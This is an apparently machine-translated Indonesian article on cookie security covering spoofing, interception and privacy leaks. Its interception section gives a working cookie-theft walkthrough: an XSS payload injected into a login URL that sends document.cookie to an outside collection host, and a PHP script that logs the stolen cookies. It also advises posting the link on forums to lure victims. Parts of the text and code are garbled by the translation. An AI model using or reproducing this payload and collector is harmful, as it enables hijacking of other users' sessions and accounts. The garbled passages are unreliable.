Tujuan cookie adalah untuk membawa kenyamanan bagi pengguna dan menambah nilai ke situs web, dan umumnya tidak menimbulkan ancaman keamanan yang serius. File cookie tidak dapat dieksekusi sebagai kode, juga tidak mengirimkan virus, itu adalah hak milik pengguna dan hanya dapat dibaca oleh server yang membuatnya. Selain itu, browser umumnya hanya memungkinkan 300 cookie untuk disimpan, setiap situs menyimpan hingga 20 cookie, dan ukuran masing -masing cookie dibatasi hingga 4KB. Oleh karena itu, cookie tidak akan mengisi hard drive dan tidak akan digunakan sebagai metode serangan "penolakan layanan".
Namun, sebagai pengganti identitas pengguna, keamanannya kadang -kadang menentukan keamanan seluruh sistem, dan keamanan cookie tidak dapat diabaikan.
(1) Cookie Spoof Cookies merekam informasi seperti ID akun pengguna, kata sandi, dll., Dan biasanya dienkripsi menggunakan metode MD5 dan diteruskan di Internet. Informasi terenkripsi tidak dapat dipahami bahkan jika dicegat oleh beberapa orang dengan motif tersembunyi di internet. Namun, masalahnya sekarang adalah bahwa orang yang mencegat kue tidak perlu mengetahui arti dari string ini. Selama seseorang mengirimkan cookie orang lain ke server dan dapat lulus verifikasi, mereka dapat masuk ke situs web sebagai korban. Perilaku ini disebut spoofing cookie.
Pengguna ilegal mendapatkan kunci enkripsi yang sesuai melalui cookie, sehingga mengakses semua informasi yang dipersonalisasi dari pengguna yang sah, termasuk email pengguna dan bahkan informasi akun, menyebabkan kerusakan serius pada informasi pribadi.
(2) Interception Cookie
Cookie ditransmisikan antara browser dan server dalam teks biasa, dan mudah dicegat dan dieksploitasi oleh orang lain. Cookie dapat dibaca oleh siapa saja yang dapat mencegat komunikasi web.
Setelah cookie dicegat oleh pengguna ilegal dan kemudian diputar ulang dalam periode yang valid, pengguna ilegal akan menikmati hak dan kepentingan pengguna hukum. Misalnya, untuk membaca online, pengguna ilegal dapat menikmati membaca online majalah elektronik tanpa membayar biaya.
Ada beberapa metode untuk mencegat cookie :
(1) Gunakan metode pemrograman untuk mencegat cookie. Berikut ini adalah menganalisis metodenya, yang diselesaikan dalam dua langkah.
Langkah 1: Posisikan situs web yang perlu mengumpulkan cookie, menganalisisnya dan membangun URL. Pertama, buka situs web untuk mengumpulkan cookie. Di sini, asumsikan bahwa itu adalah http://www.xxx.net, masuk ke situs web dan masukkan nama pengguna "<al>" (tidak termasuk kutipan), analisis data dan ambil paket, dan dapatkan kode berikut:
http://www.xxx.net/txl/login/login.pl? username = <l> & passwd = & ok.x = 28 & ok.y = 6;
Ganti "<l>" dengan:
"<script> alert (document.cookie) </script>" coba lagi, dan jika eksekusi berhasil, mulailah membangun url:
http://www.xxx.net/txl/login/login.pl? username = <script> window.open ("http://www.cbifamily.org/cbi.php?"%2bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6.
Di antara mereka, http://www.cbifamily.org/cbi.php adalah skrip pada host yang dapat dikendalikan oleh pengguna. Perlu dicatat bahwa "%2b" adalah pengkodean URL dari simbol "+", karena "+" akan diproses sebagai ruang. URL ini dapat dipublikasikan di forum untuk menginduksi orang lain untuk mengklik.
Langkah 2: Siapkan skrip PHP untuk mengumpulkan cookie dan letakkan di situs web yang dapat dikendalikan oleh pengguna. Ketika orang yang tidak dikenal mengklik URL yang dibangun, kode PHP dapat dieksekusi. Konten spesifik dari skrip ini adalah sebagai berikut:
Salinan kode adalah sebagai berikut:
<? php
$ info = getEnv ("ouery_string");
if ($ info) {
$ fp = fopen ("info.txt", "a");
fwrite ($ fp ,! info. "/n");
fclose ($ fp);
｝
header ("Lokasi: http: //www.xxx.net");
?>
Menempatkan kode ini di jaringan dapat mengumpulkan cookie semua orang. Jika sebuah forum memungkinkan kode HTML atau tag flash, Anda dapat menggunakan teknologi ini untuk mengumpulkan cookie dan meletakkannya di forum, maka berikan posting topik yang menarik dan tulis konten yang menarik, dan dengan cepat mengumpulkan sejumlah besar cookie. Di forum, kata sandi banyak orang dicuri dengan metode ini.
(2) Gunakan Kode Flash Bahaya Tersembunyi untuk mencegat cookie. Ada fungsi getUrl () dalam flash. Flash dapat menggunakan fungsi ini untuk secara otomatis membuka halaman web yang ditentukan, yang dapat mengarahkan pengguna ke situs web yang berisi kode berbahaya. Misalnya, ketika pengguna menikmati animasi flash di komputer, kode dalam bingkai animasi mungkin telah terhubung dengan diam -diam ke internet dan membuka halaman yang sangat kecil yang berisi kode khusus yang dapat mengumpulkan cookie dan melakukan hal -hal berbahaya lainnya. Situs web tidak dapat melarang tindakan flash karena ini adalah fungsi internal dari file flash.
(3) Cookie Privasi Jaringan Kebocoran
Alasan utama mengapa cookie menyebabkan kebocoran privasi online adalah:! Didorong oleh minat komersial. Dengan munculnya e-commerce dan munculnya peluang bisnis besar di internet, beberapa situs web dan lembaga menyalahgunakan cookie dan menggunakan teknologi mesin pencari, teknologi penambangan data dan bahkan teknologi penipuan online untuk mengumpulkan informasi pribadi orang lain tanpa izin pengunjung, sehingga mencapai tujuan pembuatan laba seperti membangun basis data pengguna dan mengirim iklan, yang menyebabkan kecantikan pengguna. "Keterbukaan transmisi informasi cookie. File cookie memiliki proses pengiriman khusus dan karakteristik teks. File cookie yang tidak dienkripsi dengan aman ditransmisikan antara server dan klien, yang dapat dengan mudah menyebabkan kebocoran informasi pribadi.
Di atas adalah semua pemahaman pribadi tentang keamanan cookie. Jika ada kelalaian, harap perbaiki.